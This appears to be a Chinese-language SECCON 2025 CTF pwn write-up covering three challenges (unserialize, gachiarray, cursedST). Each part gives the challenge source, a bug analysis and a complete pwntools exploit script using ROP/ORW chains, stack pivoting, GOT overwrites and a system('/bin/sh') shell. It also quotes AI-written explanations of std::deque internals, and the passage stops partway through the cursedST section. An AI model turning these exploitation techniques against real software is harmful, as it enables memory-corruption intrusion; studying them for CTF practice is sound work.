secconCTF 2025 PWN Writeup

unserialize

题目源码

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

ssize_t unserialize(FILE *fp, char *buf, size_t size) {
  char szbuf[0x20];
  char *tmpbuf;

  for (size_t i = 0; i < sizeof(szbuf); i++) {
    szbuf[i] = fgetc(fp);
    if (szbuf[i] == ':') {
      szbuf[i] = 0;
      break;
    }
    if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) {
      return -1;
    }
  }

  if (atoi(szbuf) > size) {
    return -1;
  }

  tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));

  size_t sz = strtoul(szbuf, NULL, 10);
  for (size_t i = 0; i < sz; i++) {
    if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) {
      return -1;
    }
  }

  memcpy(buf, tmpbuf, sz);
  return sz;
}

int main() {
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  if (unserialize(stdin, buf, sizeof(buf)) < 0) {
    puts("[-] Deserialization faield");
  } else {
    puts("[+] Deserialization success");
  }
  
  return 0;
}

题目保护

[*] '/mnt/hgfs/Ubuntu_Shared_Dir/secconCTF2025/unserialize/unserialize/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

漏洞点在

  tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));

  size_t sz = strtoul(szbuf, NULL, 10);

strtoul函数用于将字符串转换成一个 unsigned long int类型的数

其中第三个参数是base,输入0表示表示自动判断进制,如0x开头是十六进制,0开头但是没有x是八进制,非0开头则视为十进制

所以当我们输入0256时,会分配空间为0256 == 174的空间,但是会读入256字节大小的内容,所以造成了越界

所以越界写ROP就好了,不够长就再来个栈迁移嘛……真的是这样吗

让我们在IDA里面看一下内存布局及反编译

image-20251215202634180

这是越界写时的for循环,以及返回前的memcpy其中有用到index, size, stdina, src, target等局部变量,也就是说我们在越界写的过程中,会覆盖这些变量。

接下来再看看这些变量的内存布局

image-20251215203044396

在越界写的过程中,首当其中的就是target变量,这决定了我们越界写的内容会被memcpy到什么位置,再来是indexsrcsize

indexsrc共同决定了我们的下一个字节会被写到什么位置,size决定了我们能溢出写多少字节。

看一下写了0xd0个A时候的内存情况

pwndbg> x/60gx 0x7ffcade16390
0x7ffcade16390:	0x4141414141414141	0x4141414141414141
0x7ffcade163a0:	0x4141414141414141	0x4141414141414141
0x7ffcade163b0:	0x4141414141414141	0x4141414141414141
0x7ffcade163c0:	0x4141414141414141	0x4141414141414141
0x7ffcade163d0:	0x4141414141414141	0x4141414141414141
0x7ffcade163e0:	0x4141414141414141	0x4141414141414141
0x7ffcade163f0:	0x4141414141414141	0x4141414141414141
0x7ffcade16400:	0x4141414141414141	0x4141414141414141
0x7ffcade16410:	0x4141414141414141	0x4141414141414141
0x7ffcade16420:	0x4141414141414141	0x4141414141414141
0x7ffcade16430:	0x4141414141414141	0x4141414141414141
0x7ffcade16440:	0x4141414141414141	0x4141414141414141
0x7ffcade16450:	0x4141414141414141	0x0041414141414141
0x7ffcade16460:	0x00007ffcade164d0(target)	0x00000000004ca440(stdina)
0x7ffcade16470:	0x0000000000000004	0x00000000000000cf(index)
0x7ffcade16480:	0x00007ffcade16390(src)	0x0000000000000100(size)
0x7ffcade16490:	0x00007f0036353230	0x000000000045afcb
0x7ffcade164a0:	0x0000000000000001	0x00007ffcade166f8
0x7ffcade164b0:	0x00007ffcade16708	0x43435d9e4e8fbe00(canary)
0x7ffcade164c0:	0x00007ffcade165e0(saved rbp)	0x0000000000401c1f(saved rip)
0x7ffcade164d0:	0x0000000000000000	0x00000000004c5ee0
0x7ffcade164e0:	0x0000000000000000	0x00000000004193ac
0x7ffcade164f0:	0x0000000000000000	0x000000003d342ff0
0x7ffcade16500:	0x00000000004ca700	0x0000000000021020
0x7ffcade16510:	0x000000003d342fe0	0x00000000004193ac
0x7ffcade16520:	0x0000000000000100	0x0000000000000000
0x7ffcade16530:	0x00007ffcade16560	0x43435d9e4e8fbe00
0x7ffcade16540:	0x000000003d342ff0	0x00000000004ca700
0x7ffcade16550:	0x0000000000000100	0x0000000000000000
0x7ffcade16560:	0x00000000004d10b0	0x43435d9e4e8fbe00

思路1:在本函数内ROP(X

  1. target,假如要在本函数内ROP,可以随便覆盖为bss上一个合法地址,不是阻碍

  2. index

    1. 考虑直接覆盖index到返回地址处?注意此时index已经是0xcf,而AAAAAAAA距离返回地址还有足足0x70,显然不行。

    2. 考虑覆盖indexsize处,然后改size,这样就可以覆盖很多字节了,足足写好一份ROP,但是,这题有canary,这样无法绕过canary

    3. 考虑将src改到返回地址处,这是一个好办法,并且可以绕过canary,也可以多写挺多字节,但是再多看几次ASLR下的布局(仅srcsaved rip

     -------------------------------------------------------------
     0x7ffc2f5961f0:	0x00007ffc2f596100	0x0000000000000100
     0x7ffc2f596200:	0x00007f0036353230	0x000000000045afcb
     0x7ffc2f596210:	0x0000000000000001	0x00007ffc2f596468
     0x7ffc2f596220:	0x00007ffc2f596478	0x7df044b93da75900
     0x7ffc2f596230:	0x00007ffc2f596350	0x0000000000401c1f
     -------------------------------------------------------------
     0x7ffcfbb2cd30:	0x00007ffcfbb2cc40	0x0000000000000100
     0x7ffcfbb2cd40:	0x00007f0036353230	0x000000000045afcb
     0x7ffcfbb2cd50:	0x0000000000000001	0x00007ffcfbb2cfa8
     0x7ffcfbb2cd60:	0x00007ffcfbb2cfb8	0xa1955e6370df8e00
     0x7ffcfbb2cd70:	0x00007ffcfbb2ce90	0x0000000000401c1f
     -------------------------------------------------------------
     0x7ffd57b0d660:	0x00007ffd57b0d570	0x0000000000000100
     0x7ffd57b0d670:	0x00007f0036353230	0x000000000045afcb
     0x7ffd57b0d680:	0x0000000000000001	0x00007ffd57b0d8d8
     0x7ffd57b0d690:	0x00007ffd57b0d8e8	0x32db520c4fa1d400
     0x7ffd57b0d6a0:	0x00007ffd57b0d7c0	0x0000000000401c1f
    

    最后3个nibble分别得0x100->0x2380xc40->0xd780x570->0x6a8 也就是说我们得写4个nibble(毕竟没法写半个byte),所以得是一个1/pow(2, 12)爆破这并不好

综上所述直接在本函数ROP是不可能得

思路2:在main函数ROP

  1. main函数buf分配了0x100字节,直接歇逼了

思路3:栈迁移

  1. 覆盖targetbss地址,覆盖返回地址为leave; ret,但是还有一个问题就是我们怎样把输入输入到返回地址,并且绕过canary。直接修改index到返回地址是不可行的,被size限制了,修改size之后就不可避免的会改到canary。所以办法只有修改src,但是这道题栈地址的最后一个byte也会随机化,所以是1/16爆破(有时候仅最后一个字节不同,可以看上面的case)。

还有一点是这题是静态编译,且没有systemexecve,只能打ORW

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall"
libcname = "./libc.so.6"
host = "unserialize.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
'''

def base(name, data, offset):
    if isinstance(data, bytes):
        if name == "canary":
            base = u64(data)
        else:
            base = u64(data + b'\x00' * 2) - offset
    elif isinstance(data, int):
        base = data - offset
    log.success(f"{name} = " + hex(base))
    return base

def format_extract(data):
    return int(re.search(b'0x[0-9a-fA-F]{12}', data).group(0), base = 16)

def sa(io, a, b):
    io.sendafter(a, b)

def sla(io, a, b):
    io.sendlineafter(a, b)

def ru(io, a):
    io.recvuntil(a)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def make_payload(data, length):
    hex_data = data.hex()
    length = length.decode("ASCII")
    payload = f"{length}:{hex_data}"
    return payload.encode() # 转回 bytes 发送
for i in range(0x100000):
    #从栈迁移到got下方
    try:
        io = start()
        neg_len = 0x200
        rdi_rbp_ret = 0x0000000000402418
        rsi_ret = 0x000000000043617e
        rdx_oral_r12_rbp_ret = 0x000000000049a324
        #x0000000000498cb8 : mov rcx, rbx ; mov edi, 1 ; call rax
        rax_ret = 0x00000000004303ab
        mprotect = elf.sym['mprotect']
        open = elf.sym['open']
        read = elf.sym['read']
        write = elf.sym['write']
        ROP_chain = flat([
            p64(rdi_rbp_ret),
            p64(0x4cd000 + 0x91 - 6) * 2,
            p64(rsi_ret),
            p64(0),
            p64(open),
            p64(rdi_rbp_ret),
            p64(0)* 2,
            p64(rsi_ret),
            p64(0x4cd07f),
            p64(rdx_oral_r12_rbp_ret),
            p64(0x100) * 2,
            p64(0x4d0000),
            p64(read),
            p64(rsi_ret + 1)
        ])
        #0xd0
        leave_ret = 0x401BB9
        payload = make_payload((b'A' * 0x3f + ROP_chain.ljust(0x91 - 6, b'\x00') + b'/flag\x00' + p64(0x4cd000) + p64(0x00000000004ca440) + b'A' * 8 + p64(0xe8) + b'\x5f' + p64(0x4cd000 - 8) + p64(leave_ret)), b'0256')
        #payload = make_payload((b'A' * 0xd0), b'0256')
        #payload = make_payload((b'A' * 0xd0 + p64(0x4cd000) + p64(0x00000000004ca440)), b'0256')


        payload2 = flat([
            p64(rdi_rbp_ret),
            p64(3)* 2,
            p64(rsi_ret),
            p64(0x4cd07f),
            p64(rdx_oral_r12_rbp_ret),
            p64(0x60) * 2,
            p64(0x4d0000),
            p64(read),
            p64(rdi_rbp_ret),
            p64(2),
            p64(0x4e0000),
            p64(write),
            p64(rsi_ret + 1)
        ])
        io.send((payload + payload2)[:0x100])
        io.send((payload + payload2)[0x100:])
        flag = io.recv(0x60)
        if b"{" in flag:
            # flags.append(flag)
            print(flag)
            io.interactive() #可以卡在这里
    except:
        io.close() #关闭,然后重开
    print(i) #记录一下次数
    

image-20251215215541722

gachiarray

题目源码

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

typedef union {
  struct {
    int32_t capacity;
    int32_t size;
    int32_t initial;
  };
  struct {
    int32_t op;
    int32_t index;
    int32_t value;
  };
} pkt_t;

struct {
  uint32_t size;
  uint32_t capacity;
  int32_t initial;
  int32_t *data;
} g_array;

void fatal(const char *msg) {
  fprintf(stderr, "[ERROR] %s\n", msg);
  exit(1);
}

void read_packet(pkt_t *pkt) {
  if (read(0, pkt, sizeof(pkt_t)) != sizeof(pkt_t))
    fatal("Truncated input");
}

void array_init(pkt_t *pkt) {
  if (pkt->size > pkt->capacity)
    pkt->size = pkt->capacity;

  g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
  if (!g_array.data)
    *(uint64_t*)pkt = 0;

  g_array.size = pkt->size;
  g_array.capacity = pkt->capacity;
  g_array.initial = pkt->initial;

  for (size_t i = 0; i < pkt->size; i++)
    g_array.data[i] = pkt->initial;

  printf("Initialized: size=%d capacity=%d\n", pkt->size, pkt->capacity);
}

void main() {
  pkt_t pkt;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  read_packet(&pkt);
  array_init(&pkt);

  while (1) {
    read_packet(&pkt);
    switch (pkt.op) {
      case 1: // get
        if (g_array.size <= pkt.index)
          fatal("Out-of-bounds");
        printf("array[%d] = %d\n", pkt.index, g_array.data[pkt.index]);
        break;

      case 2: // set
        if (g_array.size <= pkt.index)
          fatal("Out-of-bounds");
        g_array.data[pkt.index] = pkt.value;
        printf("array[%d] = %d\n", pkt.index, pkt.value);
        break;

      case 3: // resize
        if (g_array.capacity < pkt.size)
          fatal("Over capacity");
        for (int i = g_array.size; i < pkt.size; i++)
          g_array.data[i] = g_array.initial;
        g_array.size = pkt.size;
        printf("New size set to %d\n", pkt.size);
        break;

      default:
        exit(0);
    }
  }
}

程序保护

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

看似有很多signed compare,看了汇编,实际上绝大多数都是unsigned compare,只有一个是signed compare,就是这个for循环

        for (int i = g_array.size; i < pkt.size; i++)
          g_array.data[i] = g_array.initial;

而漏洞点是

  g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
  if (!g_array.data)
    *(uint64_t*)pkt = 0;

malloc失败后并没有直接error,只是把*pkt = 0

如果我们输入capacity-1,那capacity后面就会是一个非常大的整数,malloc也会失败,通过case3


      case 3: // resize
        if (g_array.capacity < pkt.size)
          fatal("Over capacity");
        for (int i = g_array.size; i < pkt.size; i++)
          g_array.data[i] = g_array.initial;
        g_array.size = pkt.size;
        printf("New size set to %d\n", pkt.size);
        break;

也能成功把sizeresize成一个特别大的整数(比如-2)(这个for循环是signed compare很关键,输入size-2不会进行任何一次赋值,也就不会进行非法内存的写入,不会循环pow(2, 32) - 2次直接爆掉)

又因为这题是NO PIE,所以现在已经可以bss任意读写了。

通过got泄露libc

mallocsystemexitmain,再往bss地址存个/bin/sh

触发exit再次进入main函数,然后输入的capacitybss // 4即可get shell

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "gachiarray.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b *0x4013FE
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
'''

def base(name, data, offset):
    if isinstance(data, bytes):
        if name == "canary":
            base = u64(data)
        else:
            base = u64(data + b'\x00' * 2) - offset
    elif isinstance(data, int):
        base = data - offset
    log.success(f"{name} = " + hex(base))
    return base

def format_extract(data):
    return re.search(b'0x[0-9a-fA-F]{12}', data).group(1)

def sa(io, a, b):
    io.sendafter(a, b)

def sla(io, a, b):
    io.sendlineafter(a, b)

def ru(io, a):
    io.recvuntil(a)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def recv_number(io):
    buf = b""
    while True:
        # 每次只读 1 个字节
        try:
            c = io.recv(1, timeout=0.5) # 设置个 timeout 防止卡死
        except:
            break
            
        if not c:
            break

        # 如果是数字,或者是开头的负号
        if c.isdigit() or (c == b'-' and buf == b""):
            buf += c
        else:
            # 遇到了非数字(比如空格、换行、字母)
            # 【关键】把这个字符放回去,给后面的逻辑用
            io.unrecv(c)
            break
            
    if not buf:
        return 0 # 或者抛出异常
    return int(buf)

def create_packet(field1, field2, field3):
    """
    通用发包函数。
    因为是 Union 结构,我们总是发送 3 个 32位整数 (共12字节)
    """
    # p32() 将整数转换为 4字节的小端序二进制数据
    payload = p32(field1, sign='signed') + \
              p32(field2, sign='signed') + \
              p32(field3,)
    return payload

io = start()
malloc_got = 0x404010
exit_got = 0x404020
rbp_ret = 0x000000000040134d
printf_got = 0x404018
main = 0x4010F0
bss = 0x404200
io.send(create_packet(-2, 0, 0xAAAA))
io.send(create_packet(3, -2, 0))
io.send(create_packet(1, malloc_got // 4, 0))
io.recvuntil("array[1052676] = ")
low = recv_number(io)
io.send(create_packet(1, (malloc_got + 0x4) // 4, 0))
io.recvuntil("array[1052677] = ")
high = recv_number(io)
libc_base = (high << 32) | (low & 0xffffffff) - 0x00000000000ad650
log.success("libc_base: " + hex(libc_base))
one_gadget = libc_base + 0xd4f5f
system = libc_base + libc.sym['system']
io.send(create_packet(2, exit_got // 4, main & 0xffffffff))
io.send(create_packet(2, (exit_got + 0x4) // 4, main >> 32))
sleep(0.1)
io.send(create_packet(2, malloc_got // 4, system & 0xffffffff))
io.send(create_packet(2, (malloc_got + 0x4) // 4, system >> 32))
sleep(0.1)
io.send(create_packet(2, bss // 4, u32(b'/bin')))
io.send(create_packet(2, (bss + 0x4) // 4, u32(b'/sh\x00')))
sleep(0.1)
io.send(create_packet(4, (exit_got + 0x4) // 4, one_gadget & 0xffffffff)[:-1])
sleep(0.1)
io.send(create_packet(bss // 4, bss // 4, bss // 4))


io.interactive()

这题出现了本地通远程不通的情况,原因是没有sleep(0.1),也算是学到了吧。以后遇到本地通远程不通也可以本地build 一下docker打一下试试看,调试看是什么问题。

image-20251215221913530

cursedST

题目源码

#include <iostream>
#include <stack>

std::string name;
std::stack<size_t> S, T;

int main() {
  size_t op, val;

  std::cout << "What's your name?" << std::endl;
  std::cin >> name;
  std::cout << "Hello, " << name << "!" << std::endl;

  while (std::cin.good()) {
    std::cin >> op;
    if (op == 1) {
      std::cin >> val;
      S.push(val);
    } else if (op == 2) {
      S.pop();
    } else if (op == 3) {
      std::cin >> val;
      T.push(val);
    } else if (op == 4) {
      T.pop();
    } else {
      break;
    }
  }

  return 0;
}

程序保护

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

显然,问题出现在没有检查stack是不是空的就进行pop,所以想要pwn下来这道题首先得了解std::stack

std::stack是通过std::deque实现的,先给出两个结构体(再给一个std::string的,也会用到),再给出AI生成的我觉得很好理解的回答

  // Deque 迭代器结构 (0x20 bytes)
  struct _Deque_iterator {
      unsigned long *cur;    // +0x00: 当前位置指针
      unsigned long *first;  // +0x08: buffer 起始
      unsigned long *last;   // +0x10: buffer 结束
      unsigned long **node;  // +0x18: map 中的 node 指针
  };

  // Deque 主结构 (0x60 bytes)
  struct std_deque {
      unsigned long **_M_map;           // +0x00: map 数组指针
      unsigned long _M_map_size;        // +0x08: map 大小
      struct _Deque_iterator _M_start;  // +0x10: 起始迭代器
      struct _Deque_iterator _M_finish; // +0x30: 结束迭代器
  };

class string {
    // 1. 字符串的实际指针(指向下面 Union 中的 local_buf 或 堆地址)
    char* _M_p; 
    // 2. 长度 (size)
    size_t _M_string_length; 
    // 3. 核心存储区:这是一个联合体,同一时间只能用其中一种
    union {
        // [模式 A: 长字符串]
        // 当字符串很长时,这里存储容量(capacity)
        // 数据存储在 _M_p 指向的堆内存中
        size_t _M_allocated_capacity; 
        // [模式 B: 短字符串 (SSO)]
        // 当字符串很短(<= 15 char)时,直接存在这个数组里!
        // 此时 _M_p 指向这个 local_buf 的首地址
        char _M_local_buf[16]; 
    };
};

这是gemini生成的回答,有助于理解。

这是一个非常硬核的视角!你提供的结构体正是逆向工程(如使用 IDA Pro)时常见的 C++ 标准库(特别是 GCC libstdc++)中 `std::deque` 的内存布局。

由于 `std::stack` 默认只是 `std_deque` 的一个包装壳,**`std::stack` 的内存布局 = `std_deque` 的内存布局**。

所有的 `push``pop` 操作,本质上都是在操纵 `_M_finish` 这个迭代器,以及背后的 `_M_map`(中控器)。

我们用一个具体的场景,结合你提供的结构体字段,来演示内存是如何变化的。

------

### 场景设定

假设:

1. 我们存储的是 `unsigned __int64` (8字节)2. 为了演示方便,假设一个**Buffer (数据块)** 只能存 **8个元素** (实际通常是 512字节)3. **Map (中控数组)** 已经分配好。

------

### 阶段 1: 初始化 (空栈)

当你声明 `std::stack<size_t> S;` 时,内存里发生的事情:

1. **`_M_map`**: 分配一个小数组(比如存8个指针)。
2. **分配第一个 Buffer**: 假设地址为 `0x1000`3. **初始化迭代器**: `_M_start``_M_finish` 都指向这个 Buffer 的中间(为了支持双端插入,虽然 stack 只用一端)。

**内存快照:**

- **`_M_map`**: 指向 `[NULL, NULL, 0x1000, NULL ...]`
- **`_M_finish` 结构体内容 (当前栈顶指针)**:
  - `node`: 指向 `_M_map` 中存 `0x1000` 的那个位置。
  - `first`: `0x1000` (当前 Buffer 起始)
  - `last`: `0x1040` (当前 Buffer 结束, 0x1000 + 8*8)
  - `cur`: `0x1000` (当前指向位置,表示下一个写入点)

------

### 阶段 2: 正常的 `push(10)` (Buffer 未满)

执行 `S.push(10)`。实际上是操作 `_M_finish`
**操作步骤:**

1. **写入数据**: 将 `10` 写入 `_M_finish.cur` 指向的地址 (`0x1000`)2. **移动指针**: `_M_finish.cur` 自增 8字节 (`unsigned __int64`的大小)
**内存变化:**

- 地址 `0x1000` 的值变更为 `10`- `_M_finish.cur` 变为 `0x1008`- `_M_finish.node`, `first`, `last` **保持不变** (还在同一个 Buffer 里)
------

### 阶段 3: 跨越边界的 `push(99)` (触发新 Buffer 分配)

假设我们已经 push 了 8 次,Buffer 满了。
此时 `_M_finish.cur` 等于 `_M_finish.last` (`0x1040`)
现在执行 `S.push(99)`。**这是 deque 最精髓的地方。**

**操作步骤:**

1. **检测**: 发现 `cur == last`,当前 Buffer 已无空间。
2. **分配新 Buffer**: 系统 `malloc` 一块新内存,地址 `0x2000`3. **更新 Map**: 将 `0x2000` 填入 `_M_map` 的下一个空槽位。
4. **跳跃 (核心)**: 更新 `_M_finish` 迭代器,让它“跳”到新 Buffer。

**内存变化 (修改 `_M_finish` 结构体):**

- `node`: 指针移向 `_M_map` 的下一格 (指向存 `0x2000` 的地方)- `first`: 变为 `0x2000` (新 Buffer 起始)- `last`: 变为 `0x2040` (新 Buffer 结束)- `cur`: 变为 `0x2000` (指向新 Buffer 第一个位置)- **写入**: 将 `99` 写入 `0x2000`- **自增**: `cur` 变为 `0x2008`
> **注意**:这就解释了为什么 `std::stack` 扩容不需要拷贝旧数据。旧的 `0x1000` 那个 Buffer 动都没动,我们只是把“光标”移到了新的纸张上。

------

### 阶段 4: `pop()` (回退)

现在执行 `S.pop()`。我们需要移除刚才 push 的 `99`
**操作步骤:**

1. **检测**: 检查 `_M_finish.cur` 是否等于 `_M_finish.first`   - 当前 `cur``0x2008``first``0x2000`。不相等,说明当前 Buffer 里有东西。
2. **回退**: `_M_finish.cur` 减 8。
   - `cur` 变回 `0x2000`3. **逻辑删除**: 此时 `cur` 指向 `99` 所在的位置,但在逻辑上它已经是“无效区域”了。下一次 push 会直接覆盖它。

------

### 阶段 5: 跨越边界的 `pop()` (释放 Buffer)

假设我们在新 Buffer 里只存了一个 `99`,现在 `pop` 掉了。再次执行 `S.pop()`(要删除上一个 Buffer 的最后一个元素)。

**操作步骤:**

1. **检测**: `_M_finish.cur` (`0x2000`) 等于 `_M_finish.first` (`0x2000`)。这意味着当前 Buffer 空了(或者说光标已经退到了边缘)。
2. **释放 (可选)**: 标准库可能会释放 `0x2000` 这块内存,或者为了性能先缓存着。假设释放了。
3. **回跳 (核心)**:
   - `node`: 回退一格,指向 `0x1000` 的 Map 条目。
   - `first`: 变回 `0x1000`   - `last`: 变回 `0x1040`   - `cur`: **直接设为 `0x1040` (`last`)**。
4. **最终修正**: `cur` 减 8,变为 `0x1038`
### 总结:结构体字段的意义

对照你给的 `_Deque_iterator` 结构体:

| 字段        | 含义           | 在 Stack 中的作用                                            |
| ----------- | -------------- | ------------------------------------------------------------ |
| **`cur`**   | **当前光标**   | `push` 时往这里写值并++;`pop` 时--。它是最高频变化的字段。  |
| **`first`** | **当前块起点** | 用来判断 `pop` 时是否撞到了当前 Buffer 的“地板”。            |
| **`last`**  | **当前块终点** | 用来判断 `push` 时是否撞到了当前 Buffer 的“天花板”。         |
| **`node`**  | **Map 导航**   | 当撞到天花板或地板时,通过这个二级指针去 `_M_map` 找下一个或上一个 Buffer 的地址。 |

这就是 `std::stack` 在内存层面的真实面目:**一个在多个断断续续的内存块之间跳跃的“光标”。**

接下来再给出claude code结合代码的回答,详细解释了pop

  让我一步步解释当对空栈执行 pop() 时发生了什么。

  1. 初始状态:空的 deque

  当 std::deque 初始化后为空时,内存布局如下:

  S (0x405320) 的 std_deque 结构:
  ┌─────────────────────────────────────────────────────────────┐
  │ +0x00 _M_map        │ 指向堆上分配的 map 数组 (如 0x4172b0)  │ +0x08 _M_map_size   │ map 数组大小 (通常为 8)  ├─────────────────────┼───────────────────────────────────────┤
  │ +0x10 start.cur     │ ─┐                                    │
  │ +0x18 start.first   │  │ start 迭代器                       │
  │ +0x20 start.last    │  │                                    │
  │ +0x28 start.node    │ ─┘                                    │
  ├─────────────────────┼───────────────────────────────────────┤
  │ +0x30 finish.cur    │ ─┐ 关键!空栈时 cur == first          │
  │ +0x38 finish.first  │  │ finish 迭代器                      │
  │ +0x40 finish.last   │  │                                    │
  │ +0x48 finish.node   │ ─┘ 指向 map 数组中的某个 node         │
  └─────────────────────┴───────────────────────────────────────┘

  堆上的 map 数组 (假设在 0x4172b0):
  ┌──────────┬──────────┬──────────┬──────────┬─────┐
  │ map[0]   │ map[1]   │ map[2]   │ map[3]   │ ... │
  │ 0x4172b0 │ 0x4172b8 │ 0x4172c0 │ 0x4172c8 │     │
  └──────────┴──────────┴──────────┴──────────┴─────┘
       └── finish.node 可能指向这里 (map 的起始位置)

  空栈的关键特征:finish.cur == finish.first

  2. 调用链

  用户输入: 2
  main() 中的 S.pop()
  stack_pop() [0x401696]
      │  // 直接调用,没有任何检查!
  deque_pop_back() [0x4018f4]

  3. deque_pop_back() 的逻辑 [0x4018f4]

  void deque_pop_back(std_deque* this) {
      // 0x401915: cmp rdx, rax  比较 finish.cur 和 finish.first
      if (this->_M_finish.cur == this->_M_finish.first) {
          // 空栈时走这个分支!
          // 0x401964: call deque_M_pop_back_aux_VULN
          deque_M_pop_back_aux_VULN(this);  // 危险!
      } else {
          // 正常情况:cur 向前移动
          this->_M_finish.cur -= 1;  // 减 8 字节
      }
  }

  问题:当栈为空时,cur == first,代码认为"当前 buffer 已经用完,需要切换到前一个 buffer",但实际上根本没有前一个 buffer!

  4. deque_M_pop_back_aux_VULN() 的危险操作 [0x401e4c]

  这是漏洞的核心:

  void deque_M_pop_back_aux_VULN(std_deque* this) {
      // 步骤1: 释放当前 buffer
      // 0x401e6f: call deque_M_deallocate_node
      _M_deallocate_node(this->_M_finish.first);

      // 步骤2: 计算新的 node 指针 —— 漏洞在这里!
      // 0x401e80: mov rdx, [rdx+48h]  ; 读取 finish.node
      // 0x401e84: sub rdx, 8          ; node 指针减 8
      unsigned long** new_node = this->_M_finish.node - 1;

      // 步骤3: 用越界的 new_node 设置迭代器
      // 0x401e8e: call deque_iterator_M_set_node
      _M_set_node(&this->_M_finish, new_node);

      // 步骤4: 设置 cur
      // 0x401ea3: mov [rax+30h], rdx
      this->_M_finish.cur = this->_M_finish.last - 1;
  }

  关键漏洞:finish.node - 1 会越界!

  之前:
  finish.node ──────► map[0] (0x4172b0)

  之后:
  new_node = finish.node - 1
           = 0x4172b0 - 8
           = 0x4172a8  ◄─── 越界!指向 map 数组之前的内存!

  5. _M_set_node() 从越界地址读取 [0x4020ac]

  void _M_set_node(_Deque_iterator* this, unsigned long** new_node) {
      // 0x4020c9: mov [rax+18h], rdx
      this->node = new_node;           // 保存越界的 node 指针

      // 0x4020d1: mov rdx, [rax]      ; 从 new_node 读取!
      // 0x4020d8: mov [rax+8], rdx
      this->first = *new_node;         // 危险!从越界地址读取值作为 buffer 地址

      // 0x4020f5: mov [rax+10h], rdx
      this->last = this->first + 64;   // buffer 大小 64 个元素 (512 字节)
  }

  这里发生了什么:
  *new_node = *(0x4172a8)  // 读取越界地址的内容
                           // 这个值会被当作新的 buffer 地址!

  6. 内存越界的具体情况

  假设 map 数组分配在堆上,其前面可能是:
  - 堆的元数据
  - 之前分配的对象
  - 或者其他可预测的数据

  内存布局示例:
  ┌─────────────────┐
  │ ... 其他数据 ... │ 0x417298
  ├─────────────────┤
  │ 某个 8 字节值   │ 0x4172a0  ◄── new_node 可能指向这里
  ├─────────────────┤
  │ 堆 chunk 头     │ 0x4172a8  ◄── 或者这里
  ├─────────────────┤
  │ map[0]          │ 0x4172b0  ◄── 原始 finish.node
  │ map[1]          │ 0x4172b8
  │ ...             │
  └─────────────────┘

  7. 利用:控制 finish.cur

  经过上述操作后:

  finish.first = *new_node = 从越界地址读取的值
  finish.last  = finish.first + 512
  finish.cur   = finish.last - 8

  如果攻击者能控制越界地址处的值(比如通过 name 字符串或堆喷射),就能控制 finish.cur!

  8. 后续 push() 实现任意写

  当执行 push(value) 时:

  void deque_push_back(std_deque* this, unsigned long* value) {
      // 0x4018bf: mov [rbx], rax
      *this->_M_finish.cur = *value;  // 写入 finish.cur 指向的地址!

      // 0x4018d4: mov [rax+30h], rdx
      this->_M_finish.cur += 1;
  }

  如果 finish.cur 被控制为 GOT 表地址:
  finish.cur = 0x405028  (operator delete 的 GOT 条目)
  push(system_addr)
  *0x405028 = system_addr  // GOT 表被覆写!

再来一份push代码详解释

  // deque_push_back [0x401832]
  // 参数: rdi = deque 指针, rsi = 要 push 的值的指针

  void deque_push_back(std_deque* this, size_t* value) {

      // ═══════════════════════════════════════════════════════════════
      // 步骤 1: 检查当前 buffer 是否还有空间
      // ═══════════════════════════════════════════════════════════════

      // 0x40184b: mov rdx, [rax+30h]    ; rdx = finish.cur
      // 0x401853: mov rax, [rax+40h]    ; rax = finish.last
      // 0x401857: sub rax, 8            ; rax = finish.last - 8
      // 0x40185b: cmp rdx, rax          ; 比较 finish.cur 和 finish.last - 8
      // 0x40185e: jz loc_4018DA         ; 如果相等,buffer 满了,跳转到 aux 函数

      if (this->_M_finish.cur == this->_M_finish.last - 1) {
          // Buffer 已满,需要分配新的 buffer
          _M_push_back_aux(this, value);
          return;
      }

      // ═══════════════════════════════════════════════════════════════
      // 步骤 2: 正常情况 - 直接写入 finish.cur 指向的位置
      // ═══════════════════════════════════════════════════════════════

